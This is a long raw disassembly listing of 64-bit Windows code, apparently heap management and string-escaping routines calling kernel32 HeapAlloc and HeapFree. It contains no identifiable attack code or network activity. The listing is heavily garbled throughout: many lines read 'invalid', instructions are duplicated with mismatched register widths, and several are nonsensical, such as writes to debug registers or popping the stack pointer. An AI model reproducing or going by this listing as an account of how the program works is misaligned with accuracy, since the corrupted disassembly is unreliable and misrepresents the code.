test byte [rbp - 1], dh
jne case.0x1400510a8.292
invalid
je 0x1400756ff
invalid
invalid
jmp 0x14007585f
lea rcx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
or eax, 0x7100a
adc byte [rdi], al
add byte [rdi], cl
movzx ecx, word [rcx + rdx*2]
mov bh, 0xc
or al, 0x51
push rcx
mov word [rsp + rax + 0x3e], cx
mov dword [rsp + rax + 0x3e], ecx
add rax, 0xfffffffffffffffe
mov rsi, rax
sub rsi, 0x14
je case.0x140075b85.800
idiv edi
invalid
invalid
adc al, 0xf
test ah, cl
idiv edi
dec dword [rax - 9]
fimul word [rax - 0x73]
invalid
neg rsi
lea rdi, [rsp + rax]
cmp al, 4
cmp al, 4
add al, 0x48
add edi, 0x40
add rdi, 0x40
mov r15, qword [rbx]
mov r15, qword [rbx]
mov edi, dword [rbx]
lea r12, [0x1400efe6c]
lea esp, [0x1400efe6c]
invalid
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
cmp al, 0xac
add eax, dword [rax]
jmp case.0x14006c156.192
jnp 0x1400757e1
and ecx, dword [rdi]
jne 0x140075862
test dword [rdx + 0x49000000], ecx
mov ecx, dword [rdi + 0x20]
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
sub byte [r8 - 0x77], r9b
cli
mov rdx, rdi
mov edx, edi
mov r8, rsi
call qword [rax + 0x18]
test al, al
je case.0x140075b85.800
invalid
invalid
call fcn.140075db0
mov rbx, rax
and eax, 3
add ecx, dword [rcx + 0x63]
add al, 0x84
add al, 0x84
add rax, r12
add eax, esp
jmp rax
jnp 0x140075817
and esi, dword [rbp + 0x57]
mov r14, qword [rbx - 1]
mov esi, dword [rbx - 1]
mov esi, dword [rbx - 1]
jae case.0x140075009.19
dec dword [rax - 0x75]
imul eax, dword [rdi], 0x4c
mov ecx, esi
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x14007583a
invalid
push rbp
add byte [rax - 0x7d], cl
jge 0x140075825
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
jge 0x140075834
invalid
sbb cl, byte [rax - 0x7d]
jge 0x140075834
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x14007582b
add al, 0x4d
mov r14, qword [r14 - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
cmp dword [rax], ecx
add byte [rcx], dh
xor edx, edx
invalid
invalid
mov r8, r14
call r13
invalid
dec rbx
dec ebx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call r13
jmp case.0x14006c156.192
and byte [rax - 0x7d], cl
clc
and ecx, dword [rdi]
test byte [rcx - 1], bh
jns case.0x14004b0fb.336
cmp eax, 0x23
je case.0x14006c156.192
jns case.0x14004b0fb.336
invalid
invalid
jns case.0x14004b0fb.336
invalid
invalid
cmp eax, 0x28
mov rcx, rbx
jmp case.0x14004e4ab.398
xor esi, esi
mov r8, qword [rsp + 0x28]
mov rax, qword [rdi + 8]
mov rcx, qword [rdi + 0x10]
mov ecx, dword [rdi + 0x10]
xor edx, edx
test rax, rax
setne dl
cmove r8, rax
mov qword [rsp + 0x40], rdx
push rsp
and al, 0x40
push rsp
and al, 0x40
mov qword [rsp + 0x48], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov dword [rsp + 0x58], ecx
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x68], 0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], r8
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
lea r14, [0x1400e9ac8]
lea r14, [0x1400e9ac8]
invalid
lea rbp, [0x1400efdbc]
lea r15, [0x1400efdac]
call case.0x14004e4ab.332
test rax, rax
test eax, eax
test eax, eax
je 0x140075ce5
add byte [rax - 0x77], cl
push rsp
and al, 0x38
invalid
mov qword [rsp + 0x38], rdx
cmp byte [rax - 0x75], cl
or byte [rax - 0x77], cl
and al, 0x28
mov rcx, qword [rax]
mov ecx, dword [rax]
mov qword [rsp + 0x28], rcx
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x30], rax
and al, 0x30
and al, 0x30
xor byte [rax - 0x80], al
inc byte [rcx]
cmp sil, 1
jne 0x1400759d6
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
je 0x14007592d
mov rsi, qword [rsp + 0x20]
and al, 0x20
and byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi]
mov ecx, dword [rsi]
mov rdx, qword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
and al, 0x30
xor al, ch
invalid
call case.0x140076270.16
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x85
add dword [rax + rax], 0
add al, 0
invalid
test rax, rax
jne 0x140075da8
add al, 0
invalid
mov rax, qword [rsi]
mov eax, dword [rsi]
invalid
mov rsi, qword [rax]
jmp 0x14007593c
xor bl, ch
invalid
nop dword [rax]
cmp byte [r12 + 0x10], 0x23
cmp byte [rsp + 0x10], 0x23
cmp byte [rsp + 0x10], 0x23
and ecx, dword [rdi]
jne case.0x1400689bc.515
test dword [rcx + rax - 0x74b80000], edx
xchg esp, eax
add dword [rax], eax
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
add byte [rax], al
invalid
and byte [rax - 0x75], r9b
sub byte [rcx - 0x48], r8b
add dword [rax], eax
add byte [rax], al
invalid
mov eax, 1
mov rdx, r14
call qword [rax + 0x18]
sbb byte [rax + rax*8 + 0x14b840f], al
add byte [rax], al
invalid
test al, al
je 0x140075aa3
add qword [r8], rax
invalid
call fcn.140075db0
mov r12, rax
and eax, 3
movsxd rax, dword [rbp + rax*4]
test dword [rax], eax
test dword [rax], eax
add rax, rbp
jmp rax
jne case.0x1400689bc.515
mov rbx, qword [r12 - 1]
mov rdi, qword [r12 + 7]
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
fcos
invalid
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400759a9
cmp qword [rdi + 0x10], 0x11
jb 0x14007599a
mov rbx, qword [rbx - 8]
pop rbx
clc
mov rcx, qword [0x1400f91f8]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fadd dword [rcx - 1]
invalid
xor edx, edx
mov r8, rbx
call r13
dec r12
mov rcx, qword [0x1400f91f8]
cmp byte [r8], r9b
add byte [rcx], dh
ror byte [rbp - 0x77], cl
loopne case.0x14004e78a.405
call rbp
cmp byte [r8], r9b
add byte [rcx], dh
ror byte [rbp - 0x77], cl
loopne case.0x14004e78a.405
call rbp
jmp 0x14007593c
dec dword [rcx + rcx*4 - 0x20]
shr rax, 0x20
cmp rax, 0x23
cmp eax, 0x23
cmp eax, 0x23
je 0x14007593c
jmp 0x140075ac5
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x20]
and al, 0x20
mov rax, qword [rax]
mov eax, dword [rax]
mov rsi, qword [rax]
jmp 0x1400759fc
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x80], al
jl 0x140075a18
invalid
cmp byte [r12 + 0x10], 0x23
cmp byte [rsp + 0x10], 0x23
adc byte [rbx], ah
jne case.0x1400689bc.515
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
and byte [rax - 0x75], r9b
sub byte [rcx - 0x48], r8b
add dword [rax], eax
add byte [rax], al
lea rdx, [0x1400e76f5]
call qword [rax + 0x18]
push rax
invalid
sbb al, 7
add bh, bh
push rax
sbb byte [rax + rax*8 - 0x1167bf1], al
test cl, ch
invalid
invalid
test al, al
je case.0x14006c156.248
test cl, ch
invalid
invalid
invalid
test cl, ch
invalid
jmp 0x129075a1b
call fcn.140075db0
add eax, dword [rax]
add byte [rcx - 0x77], cl
mov r12, rax
invalid
and eax, 3
movsxd rax, dword [r15 + rax*4]
invalid
xchg dword [rcx + rax - 8], ecx
add rax, r15
add eax, edi
jmp rax
cmp byte [r12 + 0xf], 0x23
jne case.0x1400689bc.515
add byte [rax], al
mov dr1, rdi
test dword [rax + rax - 0x74b70000], edx
add byte [rax], al
mov rbx, qword [r12 - 1]
add byte [rax], al
mov rbx, qword [r12 - 1]
mov rdi, qword [r12 + 7]
invalid
mov rcx, rbx
call qword [rdi]
invalid
cmp qword [rdi + 8], 0
or byte [rax], al
invalid
je case.0x140063fb7.372
sbb cl, byte [rax - 0x7d]
jg case.0x1400510a8.378
invalid
cmp qword [rdi + 0x10], 0x11
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x140075a5d
mov rbx, qword [rbx - 8]
mov ebx, dword [rbx - 8]
mov rcx, qword [0x1400f91f8]
invalid
xor edx, edx
mov r8, rbx
call r13
call rbp
call rbp
dec r12
mov rcx, qword [0x1400f91f8]
or eax, 0x83782
or eax, 0x83782
invalid
invalid
xor edx, edx
mov r8, r12
loopne 0x140075abd
call r13
call rbp
jmp 0x1400759fc
jmp qword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, r12
loopne 0x140075adc
shr rax, 0x20
shr eax, 0x20
and byte [rax - 0x7d], cl
clc
and ecx, dword [rdi]
invalid
test byte [rbx - 1], bl
invalid
cmp rax, 0x23
je 0x1400759fc
jmp 0x140075ac5
and cl, byte [rax - 0x75]
and al, 0x38
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x20]
call case.0x1400279e4.660
mov sil, 2
test rax, rax
lea rcx, [rsp + 0x40]
je case.0x1400271cf.686
je case.0x1400271cf.686
invalid
jmp 0x140075ad8
cmp eax, 0x28
ja case.0x1400689bc.515
mov eax, eax
cmp rax, 0x23
ror byte [rax - 0x7d], 0xf8
and ecx, dword [rcx + rcx*4 - 0x1f]
mov rcx, r12
mov rcx, r12
mov ecx, esp
loope 0x140075abc
call fcn.1400ad9e0
or byte [rdi + 3], bh
add byte [rax - 0x77], cl
invalid
mov rdi, rax
mov rax, rdi
mov eax, edi
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
mov cl, 1
xor eax, eax
lea r14, [0x1400e76f5]
lea rbp, [0x1400efdfc]
jmp 0x140075b33
add byte [rax - 0x73], cl
jae 0x140075b34
lea rsi, [rbx + 0x20]
mov rcx, rbx
mov rdx, qword [rsp + 0x20]
call case.0x1400279e4.660
dec dword [rax - 0x77]
invalid
invalid
dec dword [rax - 0x77]
invalid
xor eax, eax
mov ecx, 0
mov rbx, rsi
test rdi, rdi
test rdi, rdi
jne case.0x140028086.680
cmp rbx, qword [rsp + 0x28]
cmp ebx, dword [rsp + 0x28]
je 0x140075c19
add byte [rax], al
add byte [rax + 0x48ce7501], ch
mov eax, dword [rsp + 0x20]
test al, 1
jne 0x140075b10
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov rsi, qword [rax]
add byte [rax - 0x75], cl
xor bl, ch
jmp 0x140075b5a
nop
cmp byte [rdi + 0x10], 0x23
jne 0x140075bf4
jmp 0x140075b5a
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
mov r8d, 1
add byte [rax], al
invalid
sub byte [rcx - 0x48], r8b
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
add byte [rax], al
mov rdx, r14
call qword [rax + 0x18]
test al, al
je 0x140075b10
call fcn.140075db0
mov rdi, rax
mov edi, eax
and eax, 3
movsxd rax, dword [rbp + rax*4]
invalid
test dword [rax], eax
add rax, rbp
jmp rax
cmp byte [rdi + 0xf], 0x23
jne 0x140075bf4
invalid
and esi, dword [rbp + 0x67]
mov r15, qword [rdi - 1]
mov r15, qword [edi - 1]
mov r13, qword [rdi + 7]
mov rcx, r15
mov ecx, edi
call qword [r13]
add byte [rcx - 0x7d], cl
jge 0x140075ba8
invalid
je 0x140075bbd
add byte [rcx - 0x7d], cl
jge 0x140075ba8
add byte [rdx + rbx + 0x49], dh
cmp dword [rbp + 0x10], 0x11
adc byte [rcx], dl
cmp qword [r13 + 0x10], 0x11
jb 0x140075bae
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
or byte [rax], al
xor edx, edx
mov r8, r15
call r12
invalid
dec rdi
mov rcx, qword [0x1400f91f8]
or byte ss:[rax], al
or byte ss:[rax], al
xor edx, edx
mov r8, rdi
call r12
call rsp
call rsp
jmp 0x140075b5a
nop dword [rax + rax]
mov rax, rdi
add byte [rax], al
add byte [rax - 0x77], cl
clc
shr rax, 0x20
cmp rax, 0x23
je 0x140075b5a
call 0x1388aa40a
and ecx, dword [rdi]
test byte [rcx - 1], ch
invalid
cmp eax, 0x28
mov rcx, rdi
mov ecx, edi
add rsp, 0x88
pop rbx
pop rbp
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
jmp fcn.1400ad9e0
mov rcx, r14
jmp 0x140075bf7
invalid
jrcxz 0x140075c5d
mov rcx, rax
mov ecx, eax
jmp 0x140075bf7
test cl, 1
jne case.0x140075b85.800
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov r15, qword [rax]
lea rsi, [0x1400e76f4]
xor edi, edi
lea r13, [0x1400efe0c]
jmp case.0x14004e78a.363
mov rcx, qword [r15 + 0x20]
mov ecx, dword [rdi + 0x20]
mov rax, qword [r15 + 0x28]
sub byte [r9 - 0x48], r8b
add dword [rax], eax
add byte [rax], al
mov r8d, 1
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
bnd call qword [rax + 0x18]
push rax
invalid
mov rdx, rsi
call qword [rax + 0x18]
push rax
invalid
push rax
sbb byte [rax + rax*8 - 0x1897bf1], al
invalid
test al, al
je case.0x140028086.680
invalid
invalid
call fcn.140075db0
mov rbx, rax
mov ebx, eax
mov ebx, eax
and eax, 3
movsxd rax, dword [r13 + rax*4]
test dword [rax], r8d
add rax, r13
jmp rax
loopne 0x140075bfb
jnp 0x140075c8c
and ecx, dword [rdi]
test dword [rax - 0xf], edx
push rax
int1
invalid
jne 0x140074dd4
mov r14, qword [rbx - 1]
mov rbp, qword [rbx + 7]
invalid
mov rcx, r14
call qword [rbp]
cmp qword [rbp + 8], 0
or byte [rax], al
or byte [rax], al
add byte [rdx + rbx + 0x48], dh
cmp dword [rbp + 0x10], 0x11
je 0x140075cb3
sbb cl, byte [rax - 0x7d]
jge 0x140075cad
cmp qword [rbp + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x140075ca4
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor rax, 0xffffffffd2310008
xor eax, 0xd2310008
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
mov r8, r14
call r12
call rsp
invalid
dec rbx
mov rcx, qword [0x1400f91f8]
invalid
or byte [rax], al
retf
mov ecx, dword [0x1400f91f8]
xor eax, 0xd2310008
xor edx, edx
mov r8, rbx
call r12
call rsp
call rsp
jmp case.0x14004e78a.363
fmul dword [rax - 0x3f]
call 0x1388aa4f1
and ecx, dword [rdi]
test byte [rcx - 1], dh
invalid
mov rcx, rsi
jmp 0x140075bf7
test sil, sil
je case.0x140075b85.800
invalid
dec dword [rax - 0x75]
mov rax, qword [rsp + 0x20]
and al, 0x20
mov rax, qword [rax]
mov eax, dword [rax]
mov r15, qword [rax]
lea rsi, [0x1400e9593]
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x25]
ret
invalid
invalid
add bl, ch
invalid
add byte [rcx], dh
dec dword [rbp + rcx*4 + 0x25]
ret
invalid
add bl, ch
or al, byte [rax + 0xf23107b]
cmp byte [rbx + 0x10], 0x23
invalid
adc byte [rbx], ah
jne 0x140074dd4
test dword [rdi + 0x49fffff0], edi
mov ecx, dword [rdi + 0x20]
mov rcx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x28]
mov r8d, 1
mov rdx, rsi
call qword [rax + 0x18]
sbb byte [rax + rax*8 - 0x2557bf1], al
invalid
invalid
call fcn.140075db0
mov rbx, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
invalid
add al, 0x84
test byte [rcx + rax - 0x20], cl
add byte [rax - 0x77], cl
ret
invalid
test byte [rcx + rax - 0x20], cl
jmp rax
invalid
invalid
call qword [rbp]
cmp qword [rbp + 8], 0
je case.0x14004e78a.386
xor al, 8
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
fadd dword [rcx - 1]
invalid
jmp 0x140075d15
fadd dword [rcx - 1]
invalid
je 0x140075d15
invalid
jmp 0x140074dd1
mov r12, rax
mov esp, eax
jmp case.0x1400689bc.515
invalid
clc
clc
invalid
add byte [rax - 0x75], cl
or eax, 0x83426
or byte [rax], al
test rcx, rcx
jne 0x140075df0
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc esp, dword [rsi - 0x7ab7fffd]
ror byte [rdi], 0x84
loop case.0x140050f92.464
add eax, dword [rax]
test rax, rax
je case.0x14004e4ab.407
add byte [rax], al
add byte [rax], al
mov rcx, rax
mov qword [0x1400f91f8], rax
add eax, 0x83408
add eax, 0x83408
mov r8d, 9
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
cli
movsd dword [rdi], dword [rsi]
add eax, dword [rax]
cli
movsd dword [rdi], dword [rsi]
add eax, dword [rax]
test rax, rax
je case.0x14004e4ab.407
test cl, al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
invalid
mov rsi, rax
movabs rax, 0x6f72726520746d66
outsd dx, dword [rsi]
mov eax, 0x20746d66
jb 0x140075e85
outsd dx, dword [rsi]
mov qword [rsi], rax
mov byte [rsi + 8], 0x72
movzx eax, byte [0x1400f92c0]
mov dh, 5
sahf
xor al, 8
add byte [rax - 0x75], cl
or eax, 0x833cf
add byte [rax - 0x75], cl
or eax, 0x833cf
test rcx, rcx
jne 0x140075e47
call qword [sym.imp.kernel32.dll_GetProcessHeap]
movsd dword [rdi], dword [rsi]
add eax, dword [rax]
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
pushfq
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rax
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
test rax, rax
je 0x140075ed9
mov rcx, rax
mov qword [0x1400f91f8], rax
mov dword [0x1400f91f8], eax
mov dword [0x1400f91f8], eax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
add eax, dword [rax]
add eax, dword [rax]
test rax, rax
je 0x140075ed9
mov rdi, rax
mov qword [rax], rsi
mov qword [rax + 8], 9
mov qword [rax + 0x10], 9
add byte [rax], al
add byte [rdi], cl
invalid
mov dh, 5
xor al, 8
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
add byte [rax - 0x75], cl
or eax, 0x8337a
test rcx, rcx
jne 0x140075e98
call qword [sym.imp.kernel32.dll_GetProcessHeap]
movsd dword [edi], dword [esi]
movsd dword [rdi], dword [rsi]
add eax, dword [rax]
test rax, rax
je 0x140075eea
pop rsp
pop rsp
mov rcx, rax
mov ecx, eax
mov qword [0x1400f91f8], rax
or byte [rax], al
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
movsd dword [rdi], dword [rsi]
add eax, dword [rax]
test rax, rax
je 0x140075eea
mov qword [rax], rdi
lea rcx, [0x1400e6648]
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
mov byte [rax + 0x10], 0x27
inc rax
add rsp, 0x30
pop rdi
invalid
pop rsi
pop rbp
ret
mov ecx, 1
mov edx, 9
call fcn.1400a9bd0
ud2
invalid
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x18
call fcn.1400a9bd0
invalid
cmp al, 3
invalid
ud2
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x18
add byte [rax], al
add al, ch
call fcn.1400a9bd0
ud2
add byte [rax], al
add al, ch
call fcn.1400a9bd0
ud2
nop
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x30]
push 0x30
lea rdx, [0x1400e6648]
invalid
invalid
invalid
invalid
mov rcx, qword [rbp - 0x10]
call fcn.140085120
add byte [rax], al
nop
add rsp, 0x20
invalid
and byte [rdi + 0x5e], bl
pop rbp
ret
invalid
movabs rax, 0xb458c04fa012f36b
movabs rdx, 0x2d4833ed5427c34a
invalid
push rsp
in eax, dx
xor ecx, dword [rax + 0x2d]
mov eax, 0xa012f36b
rcr byte [r8 - 0x4c], 0x48
mov edx, 0x5427c34a
invalid
push rsp
in eax, dx
xor ecx, dword [rax + 0x2d]
movabs al, byte [0xc34aba48b458c04f]
invalid
ret
mov rax, qword [rcx]
mov rdx, qword [rcx + 0x10]
ret
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x30], rdx
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], rcx
mov rsi, qword [rcx]
mov esi, dword [rcx]
lea r15, [0x1400eb994]
lea rdi, [0x1400eff64]
cmp eax, 0x79fd4
cmp eax, 0x79fd4
invalid
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140075fab
add byte [rax], 0
add byte [rax], al
cmp byte [r14 + 0x10], 0x23
adc byte [rbx], ah
jne case.0x14007651e.2
wait
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8d, 1
and byte [rax - 0x75], cl
sub byte [rcx - 0x48], r8b
add dword [rax], eax
add byte [rax], al
mov rdx, r15
cli
call qword [rax + 0x18]
test al, al
je 0x14007605a
sbb byte [rax + rax*8 + 0x93840f], al
add byte [rax], al
call fcn.140075db0
mov r14, rax
mov byte [rbx + 0x634803e0], 4
xchg dword [rax + 1], ecx
clc
dec dword [rcx - 0x77]
mov byte [rbx + 0x634803e0], 4
xchg dword [rax + 1], ecx
clc
jmp rax
mov dr6, rbp
mov r12, qword fs:[r14 - 1]
jne case.0x14007651e.2
mov r12, qword [r14 - 1]
mov rbx, qword [r14 + 7]
mov rcx, r12
call qword [rbx]
cmp qword [rbx + 8], 0
cmp dword [rbx + 8], 0
cmp dword [rbx + 8], 0
je case.0x140076467.11
cmp qword [rbx + 0x10], 0x11
jb 0x140076002
mov r12, qword [r12 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
xor dword [rax], ecx
add byte [rcx], dh
ror byte [rbp - 0x77], cl
loopne 0x14007600e
call rbp
invalid
dec r14
mov rcx, qword [0x1400f91f8]
fidiv word [rcx]
or byte [rax], al
invalid
fidiv word [rcx]
or byte [rax], al
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
xor edx, edx
mov r8, r14
call rbp
invalid
jmp 0x140075fab
invalid
nop word cs:[rax + rax]
mov rax, r14
shr rax, 0x20
call 0x168ffe35a
and byte [rbx + 0xa7728f8], al
and byte [rbx + 0xa7728f8], al
cmp rax, 0x23
and ecx, dword [rdi]
test byte [rbp - 1], ah
invalid
invalid
mov rax, r14
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x48]
lea rax, [rsi + rdx]
lea eax, [rsi + rdx]
xor r8d, r8d
lea rcx, str.uuuuuuuubtnufruuuuuuuuuuuuuuuuuu
lea r15, [0x1400eff34]
mov r12, r8
nop dword [rax]
cmp rsi, rax
cmp esi, eax
je 0x1400763dd
mov r9, r12
inc r12
movzx edi, byte [rsi]
inc rsi
movzx r13d, byte [rdi + rcx]
test r13d, r13d
je case.0x14006c156.297
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov rax, r9
sub rax, r8
mov qword [rsp + 0x60], rax
jbe 0x1400761bd
test r8, r8
mov rdx, qword [rsp + 0x48]
je 0x1400760db
cmp rdx, r8
jbe 0x1400760d5
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
cmp byte [rax + r8], 0xc0
jge 0x1400760db
invalid
jmp 0x140076596
jne 0x140076596
cmp r9, rdx
jae 0x1400760f1
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
and al, 0x30
cmp byte [rax + r9], 0xbf
jg 0x1400760f7
or ebp, ecx
movsd dword [rdi], dword [rsi]
add al, 0
add byte [rdi], cl
test dword [rdi + 0x4c000004], ebx
add eax, dword [rsp + 0x30]
invalid
jmp 0x140076596
jne 0x140076596
lahf
add al, 0
add byte [rbx + rax + 0x44], cl
and al, 0x30
invalid
add r8, qword [rsp + 0x30]
xor byte [rcx + rcx*4 + 0x44], cl
and al, 0x58
mov qword [rsp + 0x58], r8
mov rax, qword [rsp + 0x40]
and al, 0x40
mov rbx, qword [rax]
jmp 0x140076116
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
push rsp
and al, 0x58
mov r8, qword [rsp + 0x60]
call qword [rax + 0x18]
test al, al
je 0x1400761bd
invalid
call fcn.140075db0
mov r14, rax
and eax, 3
movsxd rax, dword [r15 + rax*4]
dec dword [rcx - 0x77]
mov byte [rbx + 0x634903e0], 4
xchg dword [rcx + rax - 8], ecx
add al, 0x87
add rax, r15
jmp rax
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, r14
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
call rbp
lea r15, [0x1400eff34]
jmp 0x140076116
jmp case.0x14007651e.2
lea eax, [r13 - 0x5c]
cmp eax, 0x19
ja case.default.0x1400761db
lea rcx, [0x1400efeac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea rbx, [0x1400e76d7]
adc al, 7
add bh, bh
jmp rax
lea rbx, [0x1400e76d9]
jmp case.0x1400761db.92
cmp r13d, 0x22
jne case.0x1400761db.93
add byte [rax], al
lea rbx, [0x1400e76d5]
jmp case.0x1400761db.92
lea rbx, [0x1400e76db]
lea ebx, [0x1400e76db]
jmp case.0x1400761db.92
lea rbx, [0x1400e76dd]
jmp case.0x1400761db.92
lea rbx, [0x1400e76df]
jmp case.0x1400761db.92
lea rbx, [0x1400e76e1]
mov rax, qword [rsp + 0x40]
mov rdi, qword [rax]
jmp 0x14007623b
cmp byte [r14 + 0x10], 0x23
jne case.0x14007651e.2
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov r8d, 2
mov rdx, rbx
call qword [rax + 0x18]
test al, al
je 0x1400763c4
call fcn.140075db0
mov r14, rax
and eax, 3
push rsp
sti
invalid
lea rcx, [0x1400eff24]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [r14 + 0xf], 0x23
jne case.0x14007651e.2
mov r13, qword [r14 - 1]
mov rbp, qword [r14 + 7]
mov rcx, r13
mov ecx, ebp
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x1400762b2
outsb dx, byte [rsi]
invalid
cmp qword [rbp + 0x10], 0x11
jb 0x14007629d
mov r13, qword [r13 - 8]
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call rax
dec r14
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
invalid
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
call rbp
jmp 0x14007623b
invalid
invalid
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x14007623b
jmp case.0x14007651e.2
mov eax, edi
and eax, 0xf
shr edi, 4
lea rdx, [0x1400e76e3]
movzx ecx, byte [rdi + rdx]
movzx eax, byte [rax + rdx]
mov dword [rsp + 0x38], 0x3030755c
mov byte [rsp + 0x3c], cl
and al, 0x3c
and al, 0x3c
mov byte [rsp + 0x3d], al
mov rax, qword [rsp + 0x40]
mov rdi, qword [rax]
mov edi, dword [rax]
mov edi, dword [rax]
jmp 0x140076335
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call rbp
invalid
invalid
dec r14
dec esi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call rbp
lea rbx, [rsp + 0x38]
lea r13, [0x1400eff14]
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov r8d, 6
mov rdx, rbx
invalid
call qword [rax + 0x18]
test al, al
je 0x1400763c4
call fcn.140075db0
mov r14, rax
and eax, 3
movsxd rax, dword [r13 + rax*4]
mov byte [rbx + 0x634903e0], 0x44
test dword [rax], eax
add rax, r13
jmp rax
cmp byte [r14 + 0x10], 0x23
je 0x140076341
jmp case.0x14007651e.2
mov rax, r14
shr rax, 0x20
cmp eax, 0x23
je 0x140076341
jmp case.0x14007651e.2
